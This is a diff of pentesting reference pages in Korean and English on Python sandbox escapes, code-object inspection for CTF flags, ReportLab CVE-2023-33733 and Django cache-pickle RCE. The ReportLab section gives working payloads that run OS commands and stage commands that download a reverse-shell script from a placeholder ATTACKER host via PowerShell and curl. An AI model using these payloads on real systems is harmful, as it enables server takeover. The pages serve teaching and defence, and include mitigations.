According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
참고로, python에서 어떤 연산이 수행될 때마다 해당 연산을 처리하는 함수가 실행됩니다. 예를 들어 `2*3`은 **`(2).mul(3)`**를 실행하고, **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**를 실행합니다.
|
||||
간단히 말해, python에서 어떤 동작이 수행될 때마다 특정 함수가 실행된다. 예를 들어 `2*3` 는 **`(2).mul(3)`** 를 실행하고, **`{'a':'b'}['a']`** 는 **`{'a':'b'}.__getitem__('a')`** 를 실행한다.
|
||||
|
||||
이와 유사한 예제는 [**Python execution without calls**](#python-execution-without-calls) 섹션에서 더 볼 수 있습니다.
|
||||
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
python의 format string 취약점은 함수 호출을 허용하지 않습니다(괄호 사용을 허용하지 않기 때문에). 따라서 `'{0.system("/bin/sh")}'.format(os)` 같은 RCE를 얻을 수 없습니다.
|
||||
하지만 `[]`는 사용할 수 있습니다. 따라서 일반적인 python 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용해 RCE를 얻을 수 있습니다.
|
||||
python format string vuln은 함수를 실행할 수 없게 한다(괄호를 사용할 수 없으므로), 따라서 `'{0.system("/bin/sh")}'.format(os)` 같은 RCE를 얻는 것은 불가능하다.\
|
||||
|
||||
python에서 그런 gadget을 찾기 위해, writeup은 이 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)를 제안합니다. 거기에서 그는 이 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)를 발견했습니다:
|
||||
하지만 `[]` 를 사용할 수는 있다. 따라서, 만약 일반적인 python 라이브러리가 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드를 가지고 있다면, 이를 악용해 RCE를 얻을 수 있다.
|
||||
|
||||
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -772,20 +775,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
이 gadget은 **디스크에서 라이브러리를 로드할 수 있게 합니다**. 따라서 공격 대상 서버에 로드할 라이브러리를 올바르게 컴파일된 상태로 **어떤 식으로든 작성하거나 업로드해야 합니다**.
|
||||
이 gadget은 디스크에서 **라이브러리를 로드**할 수 있게 해준다. 따라서 공격 대상 서버에 로드할 라이브러리를 올바르게 컴파일된 상태로 어떤 식으로든 **쓰기 또는 업로드**해야 한다.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
이 챌린지는 실제로 서버의 또 다른 취약점을 악용하여 서버 디스크에 임의의 파일을 생성할 수 있게 합니다.
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
|
||||
## Python 객체 분석
|
||||
|
||||
> [!TIP]
|
||||
> **python bytecode**에 대해 깊이 **배우고 싶다면**, 이 주제에 관한 **훌륭한** 포스트를 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> **python bytecode**에 대해 깊이 **배우고** 싶다면 이 주제에 관한 이 **훌륭한** 글을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
어떤 CTFs에서는 **custom function where the flag**의 이름이 제공될 수 있으며, 이를 추출하려면 해당 **function**의 **internals**를 확인해야 합니다.
|
||||
몇몇 CTFs에서는 플래그가 위치한 **custom function where the flag**의 이름을 제공받을 수 있으며, 그것을 추출하려면 해당 **function**의 **internals**을 확인해야 합니다.
|
||||
|
||||
검사할 function은 다음과 같습니다:
|
||||
This is the function to inspect:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -796,7 +799,7 @@ return "THIS-IS-THE-FALG!"
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
#### dir
|
||||
#### 디렉토리
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
@ -805,7 +808,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 import된 모듈과 몇몇 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
|
||||
`__globals__` and `func_globals`(Same) 전역 환경을 얻습니다. 예제에서는 몇몇 import된 모듈과 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -818,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **함수 코드에 접근하기**
|
||||
|
||||
**`__code__`** 및 `func_code`: 이 함수의 해당 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을 수 있습니다**.
|
||||
**`__code__`** 및 `func_code`: 함수의 이 **속성**에 **접근**하여 함수의 **코드 객체를 얻을 수 있습니다**.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -832,7 +835,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### 코드 정보 얻기
|
||||
### 코드 정보 가져오기
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -878,7 +881,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **함수 디스어셈블하기**
|
||||
### **함수 역어셈블**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -906,7 +909,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
참고로 **python sandbox에서 `dis`를 import할 수 없다면** 함수의 **bytecode** (`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. 로드되는 변수들의 내용은 (`LOAD_CONST`)에서 직접 볼 수는 없지만 (`get_flag.func_code.co_consts`)로부터 추측할 수 있습니다. `LOAD_CONST`는 로드되는 변수의 오프셋도 알려주기 때문입니다.
|
||||
주의: **python sandbox에서 `dis`를 import할 수 없다면** 함수의 **bytecode**(`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. 로딩되는 변수들의 내용(`LOAD_CONST`)은 볼 수 없지만, `get_flag.func_code.co_consts`에서 추측할 수 있습니다. `LOAD_CONST`는 로딩되는 변수의 오프셋도 알려주기 때문입니다.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -928,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## 파이썬 컴파일
|
||||
## Python 컴파일
|
||||
|
||||
이제, 어떤 식으로든 실행할 수 없는 함수에 대한 정보를 **dump**할 수 있지만, 그것을 **실행해야** 한다고 상상해 보자.\
|
||||
다음 예제처럼, 그 함수의 **code object에 접근할 수는 있지만**, disassemble을 단순히 읽는 것으로는 **flag를 계산하는 방법을 알 수 없다** (_더 복잡한 `calc_flag` 함수를 상상해 보라_)
|
||||
이제, 어떤 식으로든 **실행할 수 없는 함수에 대한 정보를 dump할 수** 있는데, 그 함수를 **실행**해야 할 **필요**가 있다고 상상해보자.\
|
||||
다음 예처럼, 해당 함수의 **code object에 접근할 수** 있지만, disassemble을 읽어보는 것만으로는 **flag를 어떻게 계산하는지 알 수 없다** (_좀 더 복잡한 `calc_flag` 함수라고 상상해보라_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -944,9 +947,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### code object 생성하기
|
||||
### code object 생성
|
||||
|
||||
먼저, 우리는 **code object를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 우리의 leaked 함수를 실행하기 위해 하나를 생성할 수 있습니다:
|
||||
우선, 우리는 **code object를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 leaked된 우리 함수를 실행하기 위해 하나를 만들 수 있습니다:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -966,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> python 버전에 따라 `code_type`의 **parameters**가 **다른 순서**일 수 있습니다. 현재 실행 중인 python 버전에서 params의 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
|
||||
> Python 버전에 따라 `code_type`의 **매개변수** 순서가 **다를 수 있습니다**. 사용 중인 python 버전에서 매개변수의 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -974,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### leaked function 재생성하기
|
||||
### leaked 함수 재생성
|
||||
|
||||
> [!WARNING]
|
||||
> 다음 예제에서는 function code object로부터 함수 재생성에 필요한 모든 데이터를 직접 가져옵니다. In a **real example**, all the **값들** to execute the function **`code_type`** is what **you will need to leak**.
|
||||
> 다음 예제에서는 함수의 code object에서 함수 재생성에 필요한 모든 데이터를 직접 가져옵니다. **실제 예제**에서는 함수를 실행하기 위한 모든 **값들**(함수 **`code_type`**)이 바로 **여러분이 leak해야 하는 것들입니다**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -990,10 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### 방어 우회
|
||||
|
||||
이 글 초반의 이전 예제들에서, **`compile` 함수를 사용해 어떤 python 코드든 실행하는 방법**을 볼 수 있습니다. 이는 반복문 등 모든 것을 포함한 **전체 스크립트를 실행**하고 **한 줄로** 처리할 수 있다는 점에서 흥미롭습니다 (같은 방법을 **`exec`**로도 할 수 있습니다).\
|
||||
어쨌든, 가끔 로컬 머신에서 **생성**한 **컴파일된 객체**를 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예: CTF에 `compiled` 함수가 없기 때문입니다).
|
||||
이 글 초반의 이전 예시들에서 **`compile` 함수를 사용해 어떤 python 코드든 실행하는 방법**을 볼 수 있습니다. 이는 루프 등 모든 것을 포함한 **전체 스크립트**를 **one liner**로 실행할 수 있기 때문에 흥미롭습니다(그리고 **`exec`**를 사용해 동일하게 할 수도 있습니다).\
|
||||
어쨌든, 때때로 로컬 머신에서 **compiled object**를 생성하고 이를 **CTF machine**에서 실행하는 것이 유용할 수 있습니다(예: CTF에 `compiled` 함수가 없기 때문입니다).
|
||||
|
||||
예를 들어, _./poc.py_ 를 읽는 함수를 수동으로 컴파일하고 실행해봅시다:
|
||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 compile하고 실행해보겠습니다:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1020,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
만약 `eval`이나 `exec`에 접근할 수 없다면 **적절한 함수**를 만들 수 있습니다. 하지만 그것을 직접 호출하면 보통 _constructor not accessible in restricted mode_ 오류가 발생합니다. 따라서 이 함수를 호출하려면 **제한된 환경 밖에 있는 함수**가 필요합니다.
|
||||
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 function**을 만들 수 있지만, 이를 직접 호출하면 보통 다음과 같은 오류가 발생합니다: _constructor not accessible in restricted mode_. 따라서 이 function을 호출하기 위해서는 **제한된 환경에 있지 않은 function**이 필요합니다.
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1030,9 +1033,9 @@ f(42)
|
||||
```
|
||||
## 컴파일된 Python 디컴파일
|
||||
|
||||
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
|
||||
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **디컴파일** given compiled python code.
|
||||
|
||||
**다음 튜토리얼을 확인하세요**:
|
||||
**이 튜토리얼을 확인하세요**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1043,8 +1046,8 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
|
||||
|
||||
### Assert
|
||||
|
||||
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
|
||||
따라서, 다음과 같은 체크들은
|
||||
파라미터 `-O`로 최적화된 상태에서 실행된 Python은 asset statements 및 **debug** 값에 의존하는 모든 코드를 제거합니다.\
|
||||
따라서, 다음과 같은 검사들은
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -2,52 +2,52 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 ReportLab의 rl_safe_eval에서 발생하는 실용적인 샌드박스 이스케이프 및 RCE 원시(primitive)를 문서화합니다. 해당 취약점은 xhtml2pdf 및 사용자 제어 HTML을 PDF로 렌더링하는 다른 PDF 생성 파이프라인에서 사용될 때 악용될 수 있습니다.
|
||||
이 페이지는 xhtml2pdf 및 기타 PDF 생성 파이프라인이 사용자 제어 HTML을 PDF로 렌더링할 때 사용하는 ReportLab의 rl_safe_eval에서 실제로 동작하는 샌드박스 탈출 및 RCE 원시(primitive)를 문서화한다.
|
||||
|
||||
CVE-2023-33733은 ReportLab 3.6.12 이하 버전에 영향을 줍니다. 특정 속성 문맥(예: color)에서 [[[ ... ]]]로 감싼 값은 rl_safe_eval에 의해 서버 측에서 평가됩니다. whitelisted 된 builtin(pov 같은)에서 Python 함수의 globals로 피벗하는 페이로드를 조작하면 공격자는 os 모듈에 도달해 명령을 실행할 수 있습니다.
|
||||
CVE-2023-33733은 ReportLab 3.6.12 이하 버전에 영향을 미친다. 특정 속성 문맥(예: color)에서 triple brackets [[[ ... ]]]로 감싼 값은 rl_safe_eval에 의해 서버 측에서 평가된다. 화이트리스트에 있는 builtin 함수(pow)에서 해당 함수의 __globals__로 피봇하는 페이로드를 만들면 공격자는 os 모듈에 도달하여 명령을 실행할 수 있다.
|
||||
|
||||
핵심 사항
|
||||
- Trigger: ReportLab/xhtml2pdf에 의해 파싱되는 마크업 내 <font color="..."> 같은 평가되는 속성에 [[[ ... ]]]를 주입.
|
||||
- Sandbox: rl_safe_eval은 위험한 builtins를 대체하지만 평가된 함수들은 여전히 __globals__를 노출.
|
||||
- Bypass: rl_safe_eval의 이름 검사(name checks)를 우회하고 차단된 dunder 필터링을 피하면서 "__globals__" 문자열에 접근하기 위해 일시적인 클래스 Word를 조작.
|
||||
핵심 요점
|
||||
- Trigger: ReportLab/xhtml2pdf로 파싱되는 마크업 내의 <font color="...">와 같은 평가되는 속성에 [[[ ... ]]]를 주입.
|
||||
- Sandbox: rl_safe_eval은 위험한 builtin을 제거하거나 대체하지만, 평가된 함수들은 여전히 __globals__를 노출.
|
||||
- Bypass: rl_safe_eval의 이름 검사와 차단된 dunder 필터링을 우회하기 위해 transient 클래스 Word를 제작하여 문자열 "__globals__"에 접근.
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- 안정성: 실행 후 속성에 대해 유효한 값을 반환하도록 함(예: color의 경우 and 'red').
|
||||
- Stability: 실행 후 속성에 대해 유효한 값을 반환하도록 함(예: color의 경우 and 'red' 사용).
|
||||
|
||||
언제 테스트할지
|
||||
- HTML-to-PDF 내보내기(프로필, 인보이스, 리포트 등)를 노출하고 PDF 메타데이터 또는 HTTP 응답 주석에 xhtml2pdf/ReportLab이 표시되는 애플리케이션.
|
||||
- HTML-to-PDF 내보내기 기능을 제공하는 애플리케이션(프로필, 인보이스, 리포트 등)에서 xhtml2pdf/ReportLab이 PDF 메타데이터 또는 HTTP 응답 코멘트에 표시되는 경우.
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||||
- PDF에 대한 HTTP 응답은 종종 ReportLab generator 주석으로 시작함
|
||||
- PDF에 대한 HTTP 응답은 종종 ReportLab 생성기 코멘트로 시작함
|
||||
|
||||
샌드박스 우회 방식
|
||||
- rl_safe_eval은 많은 builtins(getattr, type, pow, ...)을 제거하거나 대체하고, 이름이 __로 시작하거나 denylist에 있는 속성들에 대해 필터링을 적용함.
|
||||
- 그러나 안전한 함수들은 func.__globals__로 접근 가능한 globals 사전 안에 존재함.
|
||||
- type(type(1))을 사용하여 실제 builtin type 함수를 복구(ReportLab의 래퍼를 우회)한 뒤, 비교 동작을 변형한 str에서 파생된 Word 클래스를 정의하여:
|
||||
샌드박스 우회 작동 원리
|
||||
- rl_safe_eval은 많은 builtin(getattr, type, pow, ...)을 제거하거나 대체하고, __로 시작하거나 denylist에 있는 이름을 거부하도록 이름 필터링을 적용한다.
|
||||
- 그러나 안전한 함수들은 func.__globals__로 접근 가능한 globals 사전 안에 존재한다.
|
||||
- type(type(1))을 사용해 실제 builtin type 함수를 복구(ReportLab의 래퍼 우회)한 다음, 비교 동작이 변형된 str에서 파생된 Word 클래스를 정의하여:
|
||||
- .startswith('__') → 항상 False (startswith('__') 검사 우회)
|
||||
- .__eq__는 첫 비교에서는 False만 반환하고 이후에는 True 반환(denylist 멤버십 검사 우회, 이후 Python getattr 작동)
|
||||
- .__eq__는 첫 비교에서만 False를 반환하고 이후에는 True 반환(denylist 멤버십 검사 우회, 이후 Python getattr 동작 가능)
|
||||
- .__hash__는 hash(str(self))와 동일
|
||||
- 이렇게 하면 getattr(pow, Word('__globals__'))는 래핑된 pow 함수의 globals dict를 반환하고, 여기에는 import된 os 모듈이 포함됨. 그 다음: ['os'].system('<cmd>').
|
||||
- 이로써 getattr(pow, Word('__globals__'))는 래핑된 pow 함수의 globals dict를 반환하며, 여기에는 임포트된 os 모듈이 포함된다. 이후: ['os'].system('<cmd>').
|
||||
|
||||
최소한의 악용 패턴(속성 예시)
|
||||
평가되는 속성 내부에 페이로드를 넣고 boolean 연산과 'red'를 통해 유효한 속성 값을 반환하도록 보장.
|
||||
최소한의 익스플로잇 패턴(속성 예시)
|
||||
평가되는 속성 내부에 페이로드를 넣고 boolean 및 'red'를 통해 유효한 속성 값을 반환하도록 보장.
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- 리스트 컴프리헨션 형태는 rl_safe_eval에 허용되는 단일 표현식을 가능하게 함.
|
||||
- 끝의 and 'red'는 유효한 CSS 색상을 반환하여 렌더링이 깨지지 않게 함.
|
||||
- 명령은 필요에 따라 교체; tcpdump로 실행을 확인하기 위해 ping 사용.
|
||||
- 후행의 and 'red'는 유효한 CSS 색을 반환하여 렌더링이 깨지지 않도록 함.
|
||||
- 명령은 필요에 따라 교체; 실행 확인을 위해 tcpdump로 ping 사용.
|
||||
|
||||
운영 워크플로우
|
||||
1) PDF 생성기 식별
|
||||
- PDF Producer가 xhtml2pdf를 표시하거나 HTTP 응답에 ReportLab 주석이 포함되어 있는지 확인.
|
||||
2) PDF에 반영되는 입력 찾기(예: 프로필 bio/description) 및 내보내기 트리거.
|
||||
- PDF Producer에 xhtml2pdf가 표시; HTTP 응답에 ReportLab 코멘트가 포함됨.
|
||||
2) PDF로 반영되는 입력 찾기(예: profile bio/description) 및 내보내기 트리거.
|
||||
3) 저소음 ICMP로 실행 확인
|
||||
- 실행: sudo tcpdump -ni <iface> icmp
|
||||
- 페이로드: ... system('ping <your_ip>') ...
|
||||
- Windows는 기본적으로 정확히 네 번의 echo 요청을 보내는 경우가 많음.
|
||||
- Run: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows는 기본적으로 정확히 네 개의 echo 요청을 보내는 경우가 많음.
|
||||
4) 셸 확보
|
||||
- Windows의 경우 인용 및 인코딩 문제를 피하기 위해 신뢰할 수 있는 2단계 접근법 권장:
|
||||
- Windows의 경우 인용/인코딩 문제를 피하기 위해 신뢰할 수 있는 두 단계 접근법 권장:
|
||||
- Stage 1 (다운로드):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
@ -56,19 +56,19 @@ exploit
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Linux 대상의 경우 curl/wget을 이용한 유사한 2단계 가능:
|
||||
- Linux 대상의 경우 curl/wget을 이용한 유사한 두 단계 방식도 가능:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
노트 및 팁
|
||||
- 속성 문맥: color는 평가되는 속성으로 알려져 있음; ReportLab 마크업의 다른 속성들도 표현식을 평가할 수 있음. 한 위치가 필터링된다면 PDF 흐름에 렌더되는 다른 위치들(다른 필드, 테이블 스타일 등)을 시도해 보라.
|
||||
- 인용(quoting): 명령을 간결하게 유지. 2단계 다운로드는 인용과 이스케이프 문제를 크게 줄여줌.
|
||||
- 신뢰성: 내보내기가 캐시되거나 큐잉되는 경우 페이로드를 약간 변경(예: 랜덤 경로나 쿼리 추가)하여 캐시 적중을 피함.
|
||||
- 속성 문맥: color는 평가되는 알려진 속성; ReportLab 마크업의 다른 속성들도 표현식을 평가할 수 있음. 한 위치가 필터링되는 경우 PDF 흐름으로 렌더링되는 다른 위치(다른 필드, 테이블 스타일 등)를 시도해보라.
|
||||
- 인용 문제: 명령은 간결하게 유지. 두 단계 다운로드는 인용 및 이스케이프 문제를 크게 줄임.
|
||||
- 신뢰성: 내보내기가 캐시되거나 큐에 들어가는 경우, 캐시를 피하기 위해 페이로드를 약간 변경(예: 무작위 경로나 쿼리 추가)하라.
|
||||
|
||||
완화 및 탐지
|
||||
- ReportLab을 3.6.13 이상으로 업그레이드 (CVE-2023-33733 수정됨). 배포판 패키지의 보안 권고도 모니터링.
|
||||
- 사용자 제어 HTML/마크업을 xhtml2pdf/ReportLab에 직접 전달하지 말고 엄격한 sanitization 적용. 신뢰할 수 없는 입력에서 [[[...]]] 평가 구문과 벤더 전용 태그를 제거/거부.
|
||||
- 신뢰할 수 없는 입력에 대해 rl_safe_eval 사용을 비활성화하거나 래핑하는 것을 고려.
|
||||
- PDF 생성 중 의심스러운 아웃바운드 연결(예: 문서 내보내기 시 앱 서버에서의 ICMP/HTTP)을 모니터링.
|
||||
- ReportLab을 3.6.13 이상으로 업그레이드(해결된 CVE-2023-33733). 배포판 패키지의 보안 공지도 추적.
|
||||
- 사용자 제어 HTML/마크업을 신뢰되지 않는 상태로 xhtml2pdf/ReportLab에 직접 제공하지 말 것. 입력이 신뢰할 수 없을 때는 [[[...]]] 평가 구성과 벤더 특정 태그를 제거/거부.
|
||||
- 신뢰되지 않는 입력에 대해 rl_safe_eval 사용을 비활성화하거나 래핑하는 방안을 고려.
|
||||
- PDF 생성 중에 의심스러운 아웃바운드 연결(예: 문서 내보내기 중 앱 서버에서의 ICMP/HTTP)을 모니터링.
|
||||
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
|
@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Django의 기본 캐시 저장 방식은 [Python pickles](https://docs.python.org/3/library/pickle.html)이며, [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)될 경우 RCE로 이어질 수 있습니다. **공격자가 캐시에 쓰기 권한을 얻을 수 있다면, 이 취약점을 기저 서버에서 RCE로 확대할 수 있습니다**.
|
||||
## 캐시 조작을 통한 RCE
|
||||
Django의 기본 캐시 저장 방식은 [Python pickles](https://docs.python.org/3/library/pickle.html)이며, [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)될 경우 RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 권한을 얻을 수 있다면, 이 취약점을 기반 서버에서의 RCE로 확대할 수 있습니다.**
|
||||
|
||||
Django 캐시는 네 곳 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)에 저장됩니다. Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성 높은 공격 벡터(Redis injection 및 SQL injection)이며, 파일 기반 캐시를 이용해 임의의 쓰기를 RCE로 전환할 수도 있습니다. 메인테이너들은 이를 non-issue로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름, Redis 서버 세부 정보는 구현에 따라 달라진다는 점에 유의하세요.
|
||||
Django 캐시는 [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)에 저장됩니다. Redis 서버나 database에 저장된 캐시는 가장 가능성 높은 공격 벡터(SQL injection 및 Redis injection)이지만, 파일 기반 캐시를 이용해 임의 쓰기를 RCE로 전환할 수도 있습니다. Maintainers는 이를 non-issue로 표시했습니다. 캐시 파일 폴더, SQL 테이블명, Redis 서버 세부정보는 구현에 따라 달라진다는 점을 